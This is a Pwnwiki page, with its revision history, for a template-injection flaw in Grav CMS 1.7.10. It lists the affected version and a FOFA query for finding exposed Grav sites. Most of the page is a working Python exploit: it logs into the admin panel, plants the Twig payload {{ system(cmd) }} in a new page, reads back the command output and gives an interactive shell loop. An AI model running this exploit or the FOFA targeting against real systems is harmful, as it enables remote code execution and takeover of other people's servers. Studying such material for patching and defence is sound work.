Pwnwiki: Marked this version for translation

2021-06-15T01:37:18Z

Marked this version for translation

Pwnwiki: Created page with " ==影響版本==

 Grav CMS 1.7.10

==FOFA==

 title="Grav"

==POC==

 #!/usr/bin/python import requests from..."

2021-06-15T01:35:59Z

Created page with "<languages /> <translate> ==影響版本== </translate> <pre> Grav CMS 1.7.10 </pre> ==FOFA== <pre> title="Grav" </pre> ==POC== <pre> #!/usr/bin/python import requests from..."

New page

<languages />
<translate>
==影響版本==
</translate>
<pre>
Grav CMS 1.7.10
</pre>

==FOFA==
<pre>
title="Grav"
</pre>

==POC==
<pre>
#!/usr/bin/python
import requests
from bs4 import BeautifulSoup
import random
import string
username = 'username'
password = 'password'
url = 'http://grav.local'
session = requests.Session()
# Autheticating
## Getting login-nonce
def login(url,username,password):
r = session.get(url + "/admin")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[2])
nonce = nonce[47:79]
## Logging in
payload =f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = session.post(url+"/admin",data=payload,headers=headers)
# Creating Page for RCE
def rce(url,cmd):
## Getting form nonce and unique form id
project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 8))
r = session.get(url+f"/admin/pages/{project_name}/:add")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[72])
form_id = str(soup.findAll('input')[71])
form_id = form_id[54:86]
nonce = nonce[46:78]
## Creating Page
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&data%5Bfolder%5D={project_name}&data%5Broute%5D=&data%5Bname%5D=default&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&toggleable_data%5Bheader%5D%5Bprocess%5D=on&data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={form_id}&form-nonce={nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'
r = session.post(url+f"/admin/pages/{project_name}/:add",data=payload,headers=headers)
## Getting command output
r = session.get(url+f"/{project_name.lower()}")
if 'SyntaxError' in r.text:
print("[-] Command error")
else:
a = r.text.split('<section id="body-wrapper" class="section">')
b = a[1].split('</section>')
print(b[0][58:])
# Cleaning up
## Getting admin-nonce
r = session.get(url + "/admin/pages")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[32])
nonce = nonce[47:79]
## Deleting Page
r = session.get(url+f"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}")
login(url,username,password)
while True:
cmd = input("$ ")
rce(url,cmd)
</pre>

Grav CMS 1.7.10 模版注入漏洞 - Revision history

Pwnwiki: Marked this version for translation

Pwnwiki: Created page with " ==影響版本==
Grav CMS 1.7.10
==FOFA==
title="Grav"
==POC==
#!/usr/bin/python import requests from..."

@@ Line 1: / Line 1: @@
 <languages />
 <translate>
-==影響版本==
+==影響版本== <!--T:1-->
 </translate>
 <pre>